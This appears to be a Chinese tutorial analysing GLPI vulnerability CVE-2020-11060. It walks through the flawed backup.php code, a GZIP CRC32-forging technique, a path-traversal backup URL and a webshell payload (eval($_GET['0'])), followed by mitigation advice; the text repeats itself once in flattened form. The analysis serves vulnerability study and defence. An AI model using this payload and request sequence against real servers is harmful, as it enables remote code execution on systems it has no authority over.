CVE_2020_11060 EXP优化
字数 1456 2025-08-10 08:28:32

GLPI CVE-2020-11060 漏洞分析与利用教学文档

1. 漏洞概述

1.1 受影响系统

  • GLPI版本:0.85-9.4.5
  • 漏洞类型:远程代码执行(RCE)
  • 影响范围:拥有维护特权和添加WIFI网络权限的账户

1.2 漏洞位置

front/backup.php文件中的备份功能存在安全缺陷,允许攻击者通过构造恶意请求实现任意文件写入和远程代码执行。

2. 漏洞原理分析

2.1 漏洞点

漏洞主要存在于以下参数处理中:

  1. $_GET['dump']:控制SQL备份功能
  2. $_GET['fichier']:设置导出文件名(未过滤)
  3. $_GET['offsettable']:控制导出的数据表起始位置

2.2 关键代码分析

if (isset($_GET["dump"]) && $_GET["dump"] != "") {
    if (!isset($_GET["fichier"])) {
        $fichier = $filename;
    } else {
        $fichier = $_GET["fichier"]; // 未过滤的文件名参数
    }
    // ...
    backupMySql($DB, $fichier, $duree, $rowlimit); // 调用备份函数
}

function backupMySql($DB, $dumpFile, $duree, $rowlimit) {
    // 使用gzopen以追加模式打开文件
    if (function_exists('gzopen')) {
        $fileHandle = gzopen($dumpFile, "a"); // 关键点:使用"a"模式
    } else {
        $fileHandle = gzopen64($dumpFile, "a");
    }
    // ...
}

3. 漏洞利用技术

3.1 利用思路

  1. 通过fichier参数控制写入文件路径和名称(如../shell.php
  2. 利用GZIP文件格式特性分两次写入:
    • 第一次写入:构造GZIP文件尾,包含PHP短标签<?=/*
    • 第二次写入:构造不压缩块,包含WebShell代码*/eval($_GET['0']);/*

3.2 GZIP文件格式利用

3.2.1 GZIP文件结构

+-------------------+
|       head        |   
+-------------------+
|       data        |   <=== BFINAL + BTYPE + DATA
+-------------------+
|       tail        |   <=== CRC32(4字节) + ISIZE(4字节)
+-------------------+

3.2.2 CRC32伪造

使用特定方法修改文件内容,使CRC32值变为<?=/(ASCII: 3c3f3d2f):

  1. 构造长度最后一个字节为0x2a('*')的备份结果
  2. 使用CRC伪造工具修改comment字段,使其CRC变为目标值
  3. 确保结果为全可见字符

3.2.3 不压缩块构造

DEFLATE压缩有三种块类型:

  • 00:未压缩
  • 01:固定Huffman编码压缩
  • 10:动态Huffman编码压缩
  • 11:保留

通过填充特定字符,构造不被压缩的块(类型00),包含WebShell代码。

3.3 完整利用流程

  1. 备份所有数据并删除记录(可选)
  2. 新增一条glpi_wifinetworks表记录
  3. 修改记录内容,获取原始date_mod时间
  4. 设置备份结果内的date_mod为原始时间+1分钟
  5. 在延迟时间内使用CRC伪造工具生成特定数据
  6. 修改记录内容为伪造数据并备份
  7. 修改记录内容为不压缩块数据并追加备份到同一文件
  8. 访问生成的WebShell文件

4. 漏洞复现步骤

4.1 环境搭建

  1. 安装Apache2 + PHP环境
  2. 下载GLPI源码:
    git clone https://github.com/glpi-project/glpi.git
    
  3. 将文件夹放到/var/www/html目录
  4. 访问localhost/install/install.php完成安装

4.2 利用过程

  1. 访问以下URL进行第一次备份:
    /front/backup.php?fichier=../test1.php&dump=1&offsettable=312
    
  2. 使用CRC伪造工具生成特定comment字段内容
  3. 更新glpi_wifinetworks表的记录:
    UPDATE glpi_wifinetworks SET comment='j~a6aaaaaaaa...' WHERE id=8;
    
  4. 再次访问备份URL写入伪造的CRC
  5. 更新记录为不压缩块内容并再次备份
  6. 访问生成的WebShell文件执行命令

5. 防御措施

  1. 升级到GLPI最新版本
  2. fichier参数进行严格过滤,限制文件路径和扩展名
  3. 修改备份功能,不使用追加模式("a")打开文件
  4. 限制备份文件的存放目录
  5. 对备份文件内容进行检查,防止包含恶意代码

6. 参考资源

  1. 原始漏洞报告
  2. CRC伪造技术
  3. DEFLATE压缩格式
  4. POC代码

7. 总结

该漏洞利用GLPI备份功能中的多个缺陷,结合GZIP文件格式特性,实现了远程代码执行。相比原始发现者的爆破方法,本文介绍的利用技术更加精确和高效,通过分两次写入和CRC伪造实现了可靠的利用。防御此类漏洞需要从输入验证、文件操作和安全编码多方面入手。

GLPI CVE-2020-11060 漏洞分析与利用教学文档 1. 漏洞概述 1.1 受影响系统 GLPI版本:0.85-9.4.5 漏洞类型:远程代码执行(RCE) 影响范围:拥有维护特权和添加WIFI网络权限的账户 1.2 漏洞位置 front/backup.php 文件中的备份功能存在安全缺陷,允许攻击者通过构造恶意请求实现任意文件写入和远程代码执行。 2. 漏洞原理分析 2.1 漏洞点 漏洞主要存在于以下参数处理中: $_GET['dump'] :控制SQL备份功能 $_GET['fichier'] :设置导出文件名(未过滤) $_GET['offsettable'] :控制导出的数据表起始位置 2.2 关键代码分析 3. 漏洞利用技术 3.1 利用思路 通过 fichier 参数控制写入文件路径和名称(如 ../shell.php ) 利用GZIP文件格式特性分两次写入: 第一次写入:构造GZIP文件尾,包含PHP短标签 <?=/* 第二次写入:构造不压缩块,包含WebShell代码 */eval($_GET['0']);/* 3.2 GZIP文件格式利用 3.2.1 GZIP文件结构 3.2.2 CRC32伪造 使用特定方法修改文件内容,使CRC32值变为 <?=/ (ASCII: 3c3f3d2f): 构造长度最后一个字节为0x2a('* ')的备份结果 使用CRC伪造工具修改comment字段,使其CRC变为目标值 确保结果为全可见字符 3.2.3 不压缩块构造 DEFLATE压缩有三种块类型: 00:未压缩 01:固定Huffman编码压缩 10:动态Huffman编码压缩 11:保留 通过填充特定字符,构造不被压缩的块(类型00),包含WebShell代码。 3.3 完整利用流程 备份所有数据并删除记录(可选) 新增一条 glpi_wifinetworks 表记录 修改记录内容,获取原始 date_mod 时间 设置备份结果内的 date_mod 为原始时间+1分钟 在延迟时间内使用CRC伪造工具生成特定数据 修改记录内容为伪造数据并备份 修改记录内容为不压缩块数据并追加备份到同一文件 访问生成的WebShell文件 4. 漏洞复现步骤 4.1 环境搭建 安装Apache2 + PHP环境 下载GLPI源码: 将文件夹放到 /var/www/html 目录 访问 localhost/install/install.php 完成安装 4.2 利用过程 访问以下URL进行第一次备份: 使用CRC伪造工具生成特定comment字段内容 更新 glpi_wifinetworks 表的记录: 再次访问备份URL写入伪造的CRC 更新记录为不压缩块内容并再次备份 访问生成的WebShell文件执行命令 5. 防御措施 升级到GLPI最新版本 对 fichier 参数进行严格过滤,限制文件路径和扩展名 修改备份功能,不使用追加模式("a")打开文件 限制备份文件的存放目录 对备份文件内容进行检查,防止包含恶意代码 6. 参考资源 原始漏洞报告 CRC伪造技术 DEFLATE压缩格式 POC代码 7. 总结 该漏洞利用GLPI备份功能中的多个缺陷,结合GZIP文件格式特性,实现了远程代码执行。相比原始发现者的爆破方法,本文介绍的利用技术更加精确和高效,通过分两次写入和CRC伪造实现了可靠的利用。防御此类漏洞需要从输入验证、文件操作和安全编码多方面入手。